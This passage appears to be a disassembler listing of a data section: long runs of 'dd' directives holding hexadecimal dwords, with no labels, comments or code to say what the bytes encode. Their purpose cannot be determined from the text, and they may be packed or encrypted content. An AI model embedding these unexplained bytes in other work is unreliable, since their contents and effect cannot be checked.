		dd 3423BEF7h, 0DB0B7A17h, 8A2431Eh, 24118D01h, 7BD8302h
		dd 0B0838C15h, 27326C84h, 3348FE54h, 35272013h,	0CE1A7DE9h
		dd 0C01688DEh, 29E35C9Ch, 963C8548h, 693FB210h,	0C4710FB9h
		dd 0D0E0B595h, 42E9295Eh, 1819D93Bh, 3FA04A3h, 0C3F87125h
		dd 279DFD1Fh, 0E992083Ch, 59ACF690h, 86480238h,	892CEE96h
		dd 51927C1h, 92DDCC10h,	6180829Bh, 0BF66E833h, 94713D2Ch
		dd 815D9118h, 0FEFF3923h, 428F9E73h, 7B5BF749h,	5B9DD783h
		dd 661AF044h, 83F0A08Ch, 32418A06h, 0F6B1515Dh,	22712CC3h
		dd 9181EC73h, 0C4BE0092h, 0FC353487h, 6D686196h, 1D465Ch
		dd 9D48B5D0h, 66AB96h, 50CFCC34h, 70411FBFh, 4B634B59h
		dd 370A726Eh, 608BE32Bh, 0F305394Fh, 0F5DE7B1Ch, 21E0CF80h
		dd 0BD17ACEh, 1EE9A59Dh, 83091A27h, 0D848083Dh,	7359C04Dh
		dd 0A52139h, 4C6A9529h,	580AD29Bh, 97B0EE2Ch, 2A50B51Fh
		dd 3A70E613h, 1A238Fh, 31BA4119h, 3C48AE9Fh, 760622C2h
		dd 7AE6FD89h, 0DCA794E1h, 0BB6D883Fh, 533605A7h, 201D890Fh
		dd 5EFFB784h, 941D0F1h
		dd 0FC0128E1h, 100266BAh, 0F26413DDh, 12A9B2E9h, 1424820Fh
		dd 0F0BFC2C1h, 0A79D909Ch, 85C29F09h, 7870C073h, 7541B861h
		dd 18444FDEh, 11FDA6A1h, 0E82D2B81h, 820B5BBCh,	8493E9C9h
		dd 5643021Ch, 9BD4505Fh, 7336C23Fh, 0A9CD592Ch,	1819D108h
		dd 5E07D6Fh, 0F2E2AA4h,	10D7348Ah, 851280AFh, 5AF7CB1Bh
		dd 0EA057D6Ah, 59E3B5Bh, 0B41C95F2h, 0F67D815Fh, 4AC56D17h
		dd 9201CD08h, 0F9741FF9h, 0EE750384h, 8E4C8466h, 0C01A88BAh
		dd 5369F3D3h, 2FBF9D12h, 22B92D04h, 2DE1BD42h, 499149D9h
		dd 80D1C62h, 35252CDBh,	0EBB30066h, 0FD301F4Ah,	6FD3D404h
		dd 7B99F08Bh, 47C3B602h, 601C4430h, 2B026C4h, 3F3D560Ch
		dd 0EDC0F271h, 5024087Ch, 90A78A0Bh, 0ECB301h, 1D293DF0h
		dd 859ED0FCh, 0BF5E0300h, 72997FA6h, 0C36E0CD5h, 7D330AE8h
		dd 34474507h, 90E1D4FFh, 0F0643CB6h, 494925Fh, 0DF92FCBFh
		dd 60938219h, 0E983FE6Ch, 85455D84h, 1CE1045Dh,	13FDAF01h
		dd 67515802h, 14181779h, 6EA19E09h, 0F464E8h, 919B619Ch
		dd 55FFBBABh, 69E1F816h, 256DE204h, 544C9256h, 8018911Fh
		dd 41EABB98h, 9C439865h, 4A32AD4Fh, 1511EE97h, 0FE04CD8Bh
		dd 0AD005C06h, 370BB745h, 3AC14A83h, 31923FCh, 0C0D46CA9h
		dd 0FC61FC8Ah, 20BF1005h, 452801A0h, 619D0B60h,	2A0C2D1Bh
		dd 6DF598E1h, 0DABC3463h, 1C23422Fh, 4BF35500h,	12A292C8h
		dd 564EF0Eh, 0B2314502h, 40924887h, 0B516017Eh,	8DD81A11h
		dd 0E3838A72h, 1E5914F5h, 5D189816h, 265B812Dh,	0A682F0AAh
		dd 0DC4D0E84h, 270BCBECh, 267D9002h, 0D3C32B02h, 1B297079h
		dd 0B152EB2Dh, 0F8100987h, 77940BE9h, 0C025F347h, 6E118C1h
		dd 2ED32D6Dh, 21523CFh,	60532B11h, 68ADBB87h, 4438AB26h
		dd 215E6161h, 309FD85h,	840A4E9h, 0E8D260Bh, 4A538005h
		dd 4BB061F7h, 3F0440EDh, 705BA114h, 8C14B84Fh, 1CE4E5Ch
		dd 6F92F1Bh, 0D3300B5Fh, 0CBC08905h, 6D1B09C1h,	2432B26Ch
		dd 0D15FC8E9h, 0DC26600h, 0A0CCF7C1h, 35C75B5Ch, 0C5179B75h
		dd 0BF8A532Ah, 92B1F556h, 62AC66DDh, 52429E2h, 0E015B690h
		dd 388E805h, 0BD31EC4Eh, 5B762D49h, 5A196120h, 0CBA35FE8h
		dd 7D88E1h, 8E10E6F2h, 51250023h, 3FD06364h, 10907DEAh
		dd 0C03C1745h, 1545DB80h, 3B03962Dh, 1B90704Bh,	0EB1AC8A0h
		dd 8C2809B3h, 8F445EF8h, 0FEE38B96h, 0E847F8BDh, 0E40204BAh
		dd 0AC9DB060h, 0E3BE801Bh, 7571CDA0h, 442B7E10h, 3F9E6151h
		dd 0D7A704DCh, 0A9E863EEh, 9FC800B2h, 5E98A9FFh, 623A0326h
		dd 5F17B47Eh, 5DF8CCE3h, 8102F4BEh, 0C7872AC6h,	1382D00Dh
		dd 499F5F6h, 0F1BE1F9h,	5500D1E9h, 33E0F1BBh, 5A0212B9h
		dd 0BA9C2CF9h, 115B974Eh, 71648914h, 597B804Bh,	903A1CEDh
		dd 0A0096500h, 9A9D24F3h, 0E96C1692h, 0B665C5D5h, 40D1E25Ch
		dd 892199B9h, 117A30F1h, 0FD333440h, 60242122h,	2513DE78h
		dd 2887B919h, 0D6718129h, 0E2EE8D21h, 0D17B71B2h, 66181Bh
		dd 0E9375A58h, 891AB8B9h, 0A9299524h, 5B1D5EB5h, 83AAB7A7h
		dd 12FD0EA0h, 71902BB1h, 4CB2D1Ah, 0F5850953h, 665F4C92h
		dd 0F1D9003Ah, 0E7A49C36h, 331521FFh, 4F748B28h, 7D006D6Eh
		dd 334212F1h, 0EE162C03h, 1F0886EAh, 60D5A40Eh,	24854FEh
		dd 85B8DA06h, 4F287EBDh, 162C700Dh, 8307EFC3h, 42A12A79h
		dd 6101E152h, 23A422A4h, 1A467442h, 9A01DA3Ch, 23E32F09h
		dd 69C24D8Bh, 0FDBAC59Dh, 16CC3B52h, 606138C7h,	31BD898Ah
		dd 0B801949Ch, 23FF1F20h, 0F0AE5625h, 94830F9Bh, 0AC18AF1Ch
		dd 3CB9BD09h, 40DB8C32h, 832A3924h, 237D95F9h, 240D1430h
		dd 8C18F8EBh, 0F4D80704h, 2EC7B5F0h, 8B2DE181h,	0B58E3755h
		dd 52C11888h, 2BF1F137h, 41C1E220h, 0F6B50D0Ah,	1991F09Fh
		dd 45DAC09Ch, 801B2CBEh, 8BCBE814h, 2CECD484h, 0C76033DEh
		dd 689C5Ah, 0BA9029E6h,	0E034FA1Ah, 0CFF1C02h, 0EC83B1F7h
		dd 545F54E6h, 1BE48723h, 17C28060h, 0F442AD04h,	29842272h
		dd 8600D36Fh, 0DBFB80A6h, 5D54958Bh, 8D4C89A8h,	0D6479490h
		dd 16299F04h, 0F1141014h, 765D171Ah, 50491864h,	8C14B86Eh
		dd 2E8B902Ah, 120165A1h, 5A099F5h, 536DE014h, 7A362A6Dh
		dd 1A882E4Fh, 2D85A8C0h, 5881B0C6h, 0CFC0DA6Dh,	0F4731E74h
		dd 8B2A18F6h, 346944F9h, 70CE5325h, 0BD13B3EEh,	4B88F94Ch
		dd 291D02C4h, 0FB41683Dh, 66C2405Fh, 6CF114B8h,	0A06FF55Fh
		dd 0EACF16CAh, 21810AEEh, 4ED42C3h, 75C08454h, 3BD501h
		dd 0B0E79F40h, 5B97F947h, 1DC25613h, 0A5126108h, 28933B90h
		dd 90456C00h, 0D6560746h, 7D890966h, 5B855A5Bh,	9D394549h
		dd 0A06AB718h, 1C01098h, 250CB52Ch, 4434A1E4h, 9B6416EAh
		dd 9A6D800Ch, 2963B9C2h, 93DC1597h, 88658F2Eh, 516EC019h
		dd 90026BFFh, 0D59529CCh, 66745212h, 0BEF9B1C9h, 2D7B8A82h
		dd 3AF431D0h, 0B508DFFBh, 0E8161E0Dh, 6AD07820h, 954A0039h
		dd 996FB8Dh, 42D33FF3h,	28182F27h, 22012018h, 835E6129h
		dd 601D1191h, 2C45DE29h, 98E64966h, 0A561F238h,	0C01E4D60h
		dd 7C2291E0h, 1CEA9C0Fh, 0BB09E9h, 32A6DBDAh, 85C7251Fh
		dd 69C779BAh, 0C5601844h, 4A12D0A8h, 0AFB66176h, 0D6105EE0h
		dd 6107EB07h, 3F09E99Dh, 4CED0013h, 0EFA9FC64h,	0C152B7B0h
		dd 301DE24Bh, 0CE00F4BEh, 9575D697h, 2C59AAEh, 8D2976B0h
		dd 0BE5C15E5h, 0F6C990AFh, 4A9138C0h, 1757637Ah, 40D0B1F8h
		dd 2B00B58Fh, 0C64E29DAh, 0EBC475h, 815D0E5Fh, 831CAAFBh
		dd 48A6600h, 0A22402B3h, 0C3A00051h, 0F53DEE3Fh, 0D90086D7h
		dd 9EB60C4Bh, 0D837F2h,	579F0402h, 81839139h, 3448DA00h
		dd 74CC9DAEh, 12177CF3h, 2DE13h, 0CA12C3D6h, 30304ACh
		dd 288BBFBBh, 900AFBA9h, 4C8D67Eh, 67F34786h, 0C46281C2h
		dd 0E5D9FB37h, 0E403032h, 29B38D00h, 4E499281h,	0D380E791h
		dd 0C677C84Ch, 0BD0E65E9h, 405CDEBCh, 9C44D0A9h, 5473ACh
		dd 2D0B4092h, 0D535C19Ah, 0E54B3DEAh, 0FB037EBCh, 8A41A59h
		dd 76E67A00h, 86639816h, 49AA1C02h, 0C807868Bh,	940C2372h
		dd 0F55A924h, 0AD050075h, 48C6E42Ch, 7367C706h,	4CDF931Bh
		dd 7B920F70h, 0B26A0022h, 6E3EA2A4h, 0C9004F2Bh, 1C5F58Bh
		dd 27211C3h, 2881FC77h,	0A4E345D0h, 0B7FF3A07h,	0A870F199h
		dd 39E1E28Ah, 0EC007F05h, 0CF5B342Dh, 0D7723727h, 0AD977200h
		dd 0BBC69DABh, 0A770FCh, 0C1472DA8h, 659A5E55h,	625893Dh
		dd 0AF8B642h, 33402495h, 0E9029422h, 0BA328683h, 4B108000h
		dd 51B3994Ch, 6A5E2C56h, 9F2C40CEh, 93003BC5h, 862EB892h
		dd 20AC85h, 59408978h, 3613AE88h, 152B200h, 99EA0850h
		dd 0C39F01AFh, 0BA94953Dh, 0E47DFD30h, 0D00C51Dh, 676E7042h
		dd 62A53Bh, 0AD025AB7h,	0CBE6E8EAh, 7D59C50Eh, 0C40C40D9h
		dd 3D0EFEA6h, 0D38035B6h, 6B89D182h, 0E700C2C3h, 87A0B75Fh
		dd 63FFD580h, 6696FE6Ch, 4158B92Ah, 8931B900h, 8CB6519Ah
		dd 0F7793F57h, 0AB421E80h, 96E747D1h, 8309E500h, 7501DADBh
		dd 9DB600CDh, 0C9A3D8FAh, 0A70E973Fh, 74FED44Fh, 61951190h
		dd 5F685730h, 897CD2EBh, 0BE870800h, 0CBFC3A33h, 0EF4F00B2h
		dd 0E5694647h, 0AE006567h, 1148B8D0h, 226DE36h,	62A1E3E1h
		dd 0C5816DECh, 0FD66BE2Eh, 0F7844076h, 0C1A8BCA6h, 0DF00BBBDh
		dd 0DF43DEDh, 5FD052h
		dd 0B3E9C74Ch, 2096D553h, 62446460h, 28E29AF2h,	0C20966D7h
		dd 7405EBCEh, 1BC9482h,	0C49F7E20h, 8694053Ch, 0C0EB0951h
		dd 327AFB9Ah, 626C1412h, 2EB6C540h, 7E97EDDh, 0C74FB18Eh
		dd 0C4A01045h, 1C007CDCh, 0F4E65F9Eh, 53637EEh,	0DB101EC6h
		dd 0DDA60093h, 80BC0485h, 0FA604177h, 3D9D0D24h, 0F33B24ECh
		dd 0AE220CD6h, 0D273971Bh, 0B41C1A73h, 2494A563h, 8FCE0C0Eh
		dd 775B0D3Bh, 0F34B0EBh, 38E0FE46h, 29D1EF40h, 0C239C55Eh
		dd 9796AC0Dh, 7E12483Dh, 582A1106h, 0EFF69A6h, 0BE909268h
		dd 8CCF5E60h, 0C428F34Bh, 2818D52Fh, 6F68A94Fh,	49570EFFh
		dd 0A3407547h, 0E4C141D6h, 1DBD6048h, 70C0DF27h, 0FC3B77BFh
		dd 36CC6086h, 50F858C8h, 310D4200h, 0A21303ABh,	3CEAF0C4h
		dd 5B032169h, 3F10F790h, 56EBC898h, 94F47A00h, 1E9CFCECh
		dd 5CF9001Ch, 72E1761Fh, 0FB00B91Ah, 961EDC6h, 0AA7A88Eh
		dd 355F5829h, 0F12180E5h, 5695135Dh, 1ECC048h, 2AD242B1h
		dd 1180AB1Fh, 9EA463FCh, 9008B69h, 0EA197161h, 8E0C54h
		dd 4DF57F59h, 3877055Dh, 280EE24Dh, 5430C424h, 926669CEh
		dd 0FC80005Dh, 78E075A4h, 2DCFC539h, 0D2E4CE3h,	34DCE170h
		dd 17560AD4h, 288CCA22h, 7274034Eh, 61EC5330h, 0C57DD5C0h
		dd 0A982B700h, 38A7751Dh, 0FB660C5Bh, 0EAE6075Eh, 3E919431h
		dd 6DD046B6h, 6F30FB25h, 5FE93BC3h, 1F3E8613h, 901E4C4Ah
		dd 79F0E52Ah, 2409687Bh, 81405Bh, 0E06C4506h, 1EA2FC80h
		dd 0BF129FA0h, 0E43CAE00h, 458F2483h, 46185CB8h, 12489CF0h
		dd 0BC4A00A2h, 65B1787Ah, 3600BE8Fh, 8A57E23Ah,	0E831DEC1h
		dd 7172021Ah, 59630B29h, 467B8C60h, 89C86800h, 3D9EF935h
		dd 85E50055h, 7703DCDDh, 9000BF17h, 0F433B1FBh,	1DAE9CF7h
		dd 0A6D0053Bh, 55D30071h, 4ED2A016h, 1E22324h, 512DAE00h
		dd 18ED6BCBh, 1F166CABh, 7000C838h, 5CF1250Fh, 2A529412h
		dd 0C4BF13h, 89176FDFh,	5B674547h, 681EB500h, 0C623AE06h
		dd 17F5B07Fh, 203EE656h, 6F8DD503h, 0E3BCF103h,	184FA39h
		dd 0F656C627h, 0CC065E4Eh, 6001EE43h, 0E22B7854h, 0C4CC2A27h
		dd 7AC20073h, 0DAB3B45Ch, 9B2CD04Eh, 0A30E20BDh, 3789604Bh
		dd 2BBF35h, 1B281FDDh, 0B6AB6EC3h, 0FF0050E6h, 8FD7064Eh
		dd 0D9C971h, 5AA61C5Bh,	78E86310h, 11701809h, 617A2Dh
		dd 37D1DD4Dh, 5A9976CBh, 2CFBE430h, 256B626h, 509244FEh
		dd 86A1BD11h, 8E067CBBh, 0E1D8480Dh, 7D8BB40Ch,	82406CDDh
		dd 23CF64Eh, 9038589Fh,	48E0478Fh, 1F00A380h, 16987677h
		dd 0A0916D6Eh, 0B08662F6h, 7E570736h, 0EA494AF2h, 0D900BFA5h
		dd 89531531h, 0C35A81E3h, 0EB832347h, 241C8760h, 68CCE58Bh
		dd 1C5466AAh, 56741689h, 0C681E614h, 0EE50761Ah, 34078706h
		dd 2C895C24h, 0A7B95141h, 7A0630E0h, 6CF7C57h, 54595FFBh
		dd 8128228Bh, 53001EC4h, 290ABF57h, 963115F1h, 35F12B1h
		dd 7581087Ch, 3F0F189Dh, 0E57D8955h, 0DA60C555h, 675C1E0Ch
		dd 0BC5B8EFFh, 0BA1EE966h, 56C1FC52h, 0D9F26C1Fh, 3ED025C0h
		dd 0E4869341h, 0AE2976B8h, 0FFC50300h, 19DFB6E0h, 27BC0501h
		dd 80380BEFh, 4FEB72E8h, 251C8F00h, 0A108ABFAh,	0ACDA1EC6h
		dd 0D2D487A4h, 0E4175Ch, 0F53134CEh, 270B1B75h,	80D129B3h
		dd 2AC7DD9Ah, 0FC177CE6h, 3867F4DFh, 153A6DBh, 0DDB487E0h
		dd 20235207h, 84089ED9h, 0F312B0E9h, 3114B213h,	35D1F08Eh
		dd 311B4B02h, 54A1BD83h, 0E862F62h, 0ACBC2F8Dh,	660200DCh
		dd 8B030F3Dh, 15401195h, 2B4EE1B8h, 2AC116C8h, 5638E1AEh
		dd 228DF282h, 9C915460h, 60E93Fh, 0B2FA1E5Dh, 70C259E7h
		dd 0DC65BC04h, 0A8FA2600h, 0E1194E1Fh, 0E2810C66h, 0C70AE310h
		dd 40BED325h, 4111BDB3h, 65A2010Dh, 975111Dh, 23D91288h
		dd 50137483h, 0B8381253h, 8D6A40D0h, 2EAF409Dh,	5BE4829Fh
		dd 111CB158h, 241A3704h, 0CDF665AEh, 89C76DE0h,	32AD8D10h
		dd 25B9C69h, 2615570h, 0B73BD212h, 0FD8343B1h, 1DD48DBDh
		dd 2A588504h, 0FEF0BE87h, 9D8A0F90h, 0C88BEF21h, 0B589E850h
		dd 19275128h, 22451545h, 22501DE4h, 1A000FE9h, 94400AEAh
		dd 19B63DDh, 238AE67Bh,	3EB99C41h, 1D85810h, 0FFE4D6C2h
		dd 45255595h, 0FACA1683h, 0CF4B8B43h, 1D23C72Fh, 0D38E8000h
		dd 3C5F0F49h, 1300CE47h, 0F5BBD4B9h, 85348908h,	35F3C440h
		dd 0D33016A2h, 0AE5A6179h, 12ABA8F2h, 11F79D08h, 0D4F8801Ch
		dd 78323ECh, 0C86A898Dh, 0E1215533h, 54AE909Eh,	17B89AD4h
		dd 0EF45008Ch, 9D31CDB5h, 8B911915h, 991E5509h,	35ADB72Dh
		dd 4AC021CDh, 0E8B20722h, 0C6CD0850h, 4780AD85h, 68FB8B66h
		dd 0B4E3026Eh, 81EA8A95h, 0C4640340h, 0B73EE527h, 55A900E1h
		dd 0FFD78BC2h, 73DB512h, 998D9642h, 1F574418h, 22F860Ch
		dd 0D0FFB3B6h, 3702EDBh, 63A70067h, 1B4EBE5h, 254F69BDh
		dd 0EC057FD9h, 10F4B2F8h, 0A298B8E3h, 0C4A41209h, 91011121h
		dd 0F78101D3h, 784E42BBh, 0E147A85Dh, 0B1E80F8Ch, 0B5E209C2h
		dd 3A84DF09h, 9F6F400Bh, 2E5AC6DCh, 1A906D5h, 0CDB15EB5h
		dd 9B12259h, 56605250h,	585A8720h, 0E612651h, 2790E84Ah
		dd 1732865Ch, 889D3E05h, 6538A119h, 30820080h, 224D9AA6h
		dd 5F7A19E0h, 0C08B4A5Ah, 6916B1BFh, 7D202B88h,	1CB96656h
		dd 0AF5958ADh, 6BC09FCDh, 261053A6h, 89570F5h, 52B1AB9h
		dd 0F3B6425h, 8FB20A4Ch, 2E4BD9E0h, 5E02D801h, 0F65BF7E6h
		dd 0A1144C8Ch, 1520D157h, 48F9F801h, 0D490C319h, 3329C091h
		dd 1C7508E0h, 25E12864h, 78B88D6Dh, 0F55D0900h,	9D87C59Bh
		dd 909379CBh, 0AC3C9ADFh, 25564805h, 70162D12h,	1F6D3905h
		dd 870FD408h, 0D3B68402h, 80A1F850h, 0AF3DE51h,	0F72A07FFh
		dd 20B017EFh, 9464A48Bh, 0C06F4104h, 1389CB95h,	0B657E500h
		dd 0E4595274h, 54F2A278h, 0DC01DC5Ch, 89FEB70Fh, 94FAAD95h
		dd 787593DEh, 800A9CF2h, 1D830FD1h, 0C856E820h,	950106F1h
		dd 59751219h, 72BC32D0h, 8711610Eh, 6FCB20E9h, 736696AAh
		dd 81D65FBAh, 213DF49Eh, 0BD10551Ch, 5A30BD39h,	0FDD656A9h
		dd 0B5296C02h, 83381371h, 0DB052570h, 0CAB10B7Ah, 21B31280h
		dd 5A9E9Fh, 318D9B3Dh, 66A2F948h, 3BE1BF1Fh, 932FF629h
		dd 74A7F850h, 706800B6h, 0DDFF7357h, 3B7A22B9h,	0D3320C68h
		dd 46B16004h, 5F619B81h, 205F0F22h, 91F99AAh, 0EC01FA05h
		dd 8A0458BEh, 0B0162D1Dh, 0FF812009h, 1716D490h, 4CCC8C0Fh
		dd 3AE1A9CAh, 0A0CEC124h, 0CBD48ADDh, 9028444Eh, 0B5B709C0h
		dd 0AF60CB07h, 4D958C50h, 0A58256B2h, 0F1814903h, 55A024C9h
		dd 54136A68h, 51054F9Dh, 5490F691h, 5A77D57Fh, 819EDB3Ch
		dd 0F757E4A3h, 0A4D17920h, 80D59173h, 0B6D62682h, 9101082Ah
		dd 0E4C6DE9Ah, 0E122800Fh, 5A59530Ah, 5DDBCB83h, 0A3308B70h
		dd 2CE2149Eh, 602EA023h, 883964E9h, 379D04C1h, 0D12C2h
		dd 6956712h, 20093468h,	251BFEEh, 0A059CE4Bh, 11EFCCAAh
		dd 7CD9EE40h, 3837F4CAh, 0CD99D068h, 87D72CCFh,	332F302Bh
		dd 0F9160439h, 0BB9A84D6h, 11B87089h, 622B7802h, 0C246F645h
		dd 7D600068h, 0B4B3B7h,	76CB6A0Ah, 0B0E9CCEEh, 3050901h
		dd 0AB4FCDDEh, 0DD4C56E5h, 0EB7100F6h, 772531C0h, 1F0ED003h
		dd 57595F26h, 0BDE46E1h, 0AA05D9C4h, 7EEED8B1h,	2550BE08h
		dd 0C783F53h, 1AAE0215h
		dd 0A8D8529h, 489B00F6h, 4B2D7057h, 606EA289h, 68D08B6Ah
		dd 5E4F05E8h, 40E6B2C6h, 0A2B018B6h, 0D65D8B39h, 5C8C280Ah
		dd 41B3BF05h, 0B21A2277h, 0DCEC5C2Eh, 13DB463Fh, 3E01F8B6h
		dd 0B6A8163h, 12C76E3Bh, 8A0D560Dh, 6F3AF01Dh, 80E83D4Bh
		dd 0BD26BB84h, 50974D01h, 409D994Fh, 60005024h,	9423B866h
		dd 0A86183B4h, 4BDD8080h, 1E61090Dh, 0C5D0FFDBh, 1F9102A7h
		dd 22499CF1h, 38990C41h, 0B58D0D5Ah, 3A2EDE27h,	1B2376h
		dd 0E994EC37h, 18343988h, 6DBCCE9Ch, 64F7009Fh,	749DC6F9h
		dd 3A88D41Dh, 0DF5D5B00h, 1E4FD093h, 64616094h,	22839C08h
		dd 562E31ECh, 89200358h, 80243429h, 4F181CD1h, 4D02CDF6h
		dd 0BD91B50Bh, 0D7A1C012h, 0B97427h, 877D85C1h,	97BF506Ah
		dd 4272F515h, 108158C1h, 0C4410805h, 602CD262h,	890F8948h
		dd 0A3B1A190h, 0E2C00B25h, 0F61E740Ah, 7FD36400h, 8BBA35ACh
		dd 85E916CAh, 5B7F407h,	562EC28Ah, 0F71DC27h, 36D1450Bh
		dd 0CE918A3Ch, 0BFA02C13h, 8B00E969h, 7B9350B5h, 0E3F4F0h
		dd 19897A56h, 8B6E6DDAh, 0D1DE90B5h, 0D9010F91h, 0AD812E75h
		dd 20D8F9EEh, 4D0B67D9h, 0A20468Dh, 46744A12h, 0B64B0A14h
		dd 0FB89F317h, 31617E16h, 2DE8B104h, 12044145h,	4F7EF9F6h
		dd 0EDDBB540h, 1FB0296h, 0BB82CDE3h, 65640042h,	65E0EC8Dh
		dd 24BCE094h, 8D15F922h, 2A233184h, 5E8377DBh, 1A01091h
		dd 1418031Bh, 0C2F65904h, 0E965138Ah, 0C3D25D69h, 207E80CCh
		dd 5D6B7686h, 284B719h,	34100C8Ah, 1A05E8C0h, 60A96982h
		dd 0E1F76276h, 0FCBEB752h, 0F0246DD1h, 0BD170BA8h, 0C44702F5h
		dd 0E1507C4h, 0B5103058h, 0CB4C28BCh, 8C31B7B5h, 0D0BEBF48h
		dd 150E912h, 1BB2D3F3h,	282C730h, 0D473FEFDh, 40483DB9h
		dd 40599E46h, 1366BCC0h, 302ECB22h, 0E2DF26A8h,	1D0094E0h
		dd 70C99B39h, 3350D0Eh,	88F17311h, 2FB6E8D1h, 2F78D500h
		dd 3ABFC218h, 22930051h, 0C86BF776h, 601735B2h,	260E8BB1h
		dd 0C888D390h, 0FBCC0580h, 0A8A4F1B7h, 83B3809Ah, 0F864AF9Dh
		dd 98E5F8DBh, 9B90CDh, 765EC7EFh, 9DBD8990h, 92F2015Dh
		dd 0C1A0C0F6h, 0C813B1BAh, 51046088h, 1E121C8Dh, 0DD30A5B9h
		dd 574E5090h, 0E400CBA2h, 6038C194h, 0F8C14E21h, 597A230Ah
		dd 8DA03EC7h, 5AE94A45h, 6600A56Ah, 3D88B94h, 0E69C2D95h
		dd 1DB25818h, 0DB0B8016h, 279FB990h, 0CDE429D3h, 27E90FB0h
		dd 93CC0499h, 22A29E00h, 6D55822Fh, 73401AFh, 8D0BBBE4h
		dd 5FB6242Dh, 84388025h, 0DBF8CF3Dh, 0E9BD2906h, 96B45908h
		dd 48AD9580h, 7101B165h, 1A4100F9h, 0F0F2ED7Fh,	496BE903h
		dd 702DDB29h, 9C3FF6EBh, 56EF8064h, 51682305h, 0CDCE0A80h
		dd 5C2B485Fh, 0B4041646h, 8C3B9E67h, 82250FECh,	0D987FB46h
		dd 67D5D09Bh, 0FCB15914h, 0CB5C289Fh, 10891B44h, 6511A19Dh
		dd 0AE042F1Eh, 8100FF9Bh, 0B539E8F7h, 0DF033776h, 6B9929B2h
		dd 5382D40h, 2A547A90h,	20843044h, 0E095014Fh, 0BB950ACh
		dd 24AAD788h, 0C2A12F99h, 0C4B20305h, 905325h, 0B6039891h
		dd 19229C34h, 6993F90Dh, 0F34DBD30h, 60595A01h,	0DB0FBA6Dh
		dd 346D40E1h, 45BD0930h, 10C61313h, 580F7570h, 20522B5h
		dd 299EE4BFh, 35665062h, 0B328400h, 90188DE0h, 0ADE90033h
		dd 0D8797154h, 930AB2A6h, 238F0F95h, 0F246BA01h, 6B31696Ah
		dd 55CD80A7h, 0D38DFDC0h, 4CF93F6h, 0A105B509h,	0FB84197h
		dd 374CEF81h, 26F30277h, 0FC583FD7h, 6A00DCBBh,	3E32A989h
		dd 51CCEAACh, 9801D925h, 0E4262155h, 0ED395634h, 29B8C0h
		dd 85F945A7h, 0B3B601E4h, 0CDE60550h, 25E90B40h, 0C14F0290h
		dd 7C637040h, 0FE80504Fh, 0C6224015h, 5188D296h, 258162Ah
		dd 0A507C94Eh, 8BE5825Dh, 31CADBD3h, 0E058329Ah, 0B7A6E9F0h
		dd 7FD9DB05h, 0C3B0D012h, 17C1BC50h, 8077DB90h,	9A564E3h
		dd 0A40D4E8Dh, 37BF1E4Fh, 0C7FD01DFh, 0F0AFBA50h, 44921A11h
		dd 5B9F8899h, 3B01E300h, 0FEA602DCh, 0F7670793h, 0DA6D41A2h
		dd 5DB504B0h, 0CAB4D40Eh, 0A0F64A11h, 0F13FBDA0h, 0CBE0150h
		dd 0B7256091h, 1393016Dh, 60F774F6h, 97A84D63h,	0D2248058h
		dd 52445157h, 0F16233Fh, 0FC2CC1Bh, 10C1CBB7h, 0DA2A0901h
		dd 0E6EC809Dh, 48B0A8A5h, 19C021BEh, 0CEF34252h, 51DD5458h
		dd 919221Eh, 50B5FFFCh,	0DE77969Fh, 0D377F500h,	39C65DA0h
		dd 0AD9987Eh, 69AC1A7Bh, 0E7AB27E8h, 7371C1F3h,	4039EF60h
		dd 0D0BE5006h, 0EB684740h, 0D5BC1CA9h, 606C8088h, 12825A15h
		dd 340D39E7h, 6E6B2F69h, 5F0D6800h, 32EBDB5h, 3160791Dh
		dd 1C1172E5h, 6C615952h, 4302DE92h, 85F0A417h, 0D00041A5h
		dd 1C8F53Ch, 0E9467164h, 11F41739h, 51FBCEBAh, 2B4D14h
		dd 911CC681h, 1814F925h, 0F2E91687h, 0C716F8h, 0B368FAFBh
		dd 904B543Ch, 708ADB20h, 27440159h, 0C7CC2C89h,	3A3C6843h
		dd 6FAC814Dh, 17D2A5B9h, 0BD48B66Ch, 12A5FD35h,	0A678C53Ch
		dd 799CF07Dh, 101748BAh, 0B635907Fh, 0E97BA7CDh, 0D5C670h
		dd 5AA0DA9Ah, 0B9665BAFh, 8B50E914h, 0FB04D6CBh, 900433D1h
		dd 48E0BD0Fh, 0BF570255h, 8F3CC5E1h, 10DBF78Bh,	0F363F581h
		dd 0C0B36079h, 547A8704h, 30BB8A60h, 0DE389FECh, 0E5C39400h
		dd 0B1218D0Bh, 0F06C0285h, 6166FBBDh, 7E49055Eh, 30FEDE1Ch
		dd 0E812A701h, 0C9F734DFh, 5FBD2BCCh, 0A9B513FDh, 8B0F14B8h
		dd 670C681Dh, 38600226h, 0DD20B5h, 0ABA71F97h, 4D91E5C1h
		dd 71782702h, 5E59EBD5h, 66D6944h, 0F40E79C0h, 0CAF3001Eh
		dd 0D78144A5h, 0A72CB47Eh, 5192B928h, 0C7728BB3h, 0D5BF660Ah
		dd 0BAAC90FCh, 20168969h, 0D8029005h, 435EB0D9h, 12ABE42Dh
		dd 0B8F5BDFAh, 0C6BA0264h, 437DA318h, 0C9CFDFC1h, 667A3AC0h
		dd 0A659A723h, 0C530801Ch, 5661E662h, 43124CC4h, 9B6ED37Eh
		dd 680802Bh, 0BDFCA068h, 0F000441Bh, 0C78158F9h, 1CD38663h
		dd 908C25Fh, 36A8501h, 9743D7Dh, 0DAD66070h, 62EF8160h
		dd 495D2811h, 6BD10BE3h, 0E20261BAh, 380A06F9h,	7E748B11h
		dd 0BCA9F0D1h, 20E812B8h, 33CE18B4h, 2E6FCF00h,	0B0FD345Dh
		dd 0A83B04BDh, 0E2D31D76h, 4D6001D5h, 0F8645880h, 0EDB92DF8h
		dd 8AC0566Ch, 36C081DAh, 58D76C4Dh, 700C2028h, 3003D3BFh
		dd 0DD5BF4DAh, 0B79F1000h, 810734FFh, 0CA5C00D3h, 8B5A09C1h
		dd 9DAA599Dh, 92A01540h, 8DF84871h, 8059456Fh, 7DA4BDF2h
		dd 0E2514A18h, 3E007F08h, 0C0CA44C6h, 6FE6426h,	0B217D114h
		dd 2B094C5Bh, 5127F67Bh, 28B78157h, 3C381489h, 0A7085B02h
		dd 0EF83051Ch, 0E6B50102h, 0C74F0BE0h, 8BF2263Ch, 239480FFh
		dd 7A978523h, 2D9CA60Ah, 0A3D69542h, 0E7E39300h, 8E92F4h
		dd 0FD8B03Bh, 8DC87841h, 8A00FBF0h, 0BB2DA6AAh,	7DFF6Dh
		dd 351B3945h, 0C7ED5A47h, 86DDC639h, 2B8F1786h,	0A6B91B38h
		dd 1019409Dh, 0E5198E60h, 0C0A73AC0h, 0BCC98758h, 0FF06C0AEh
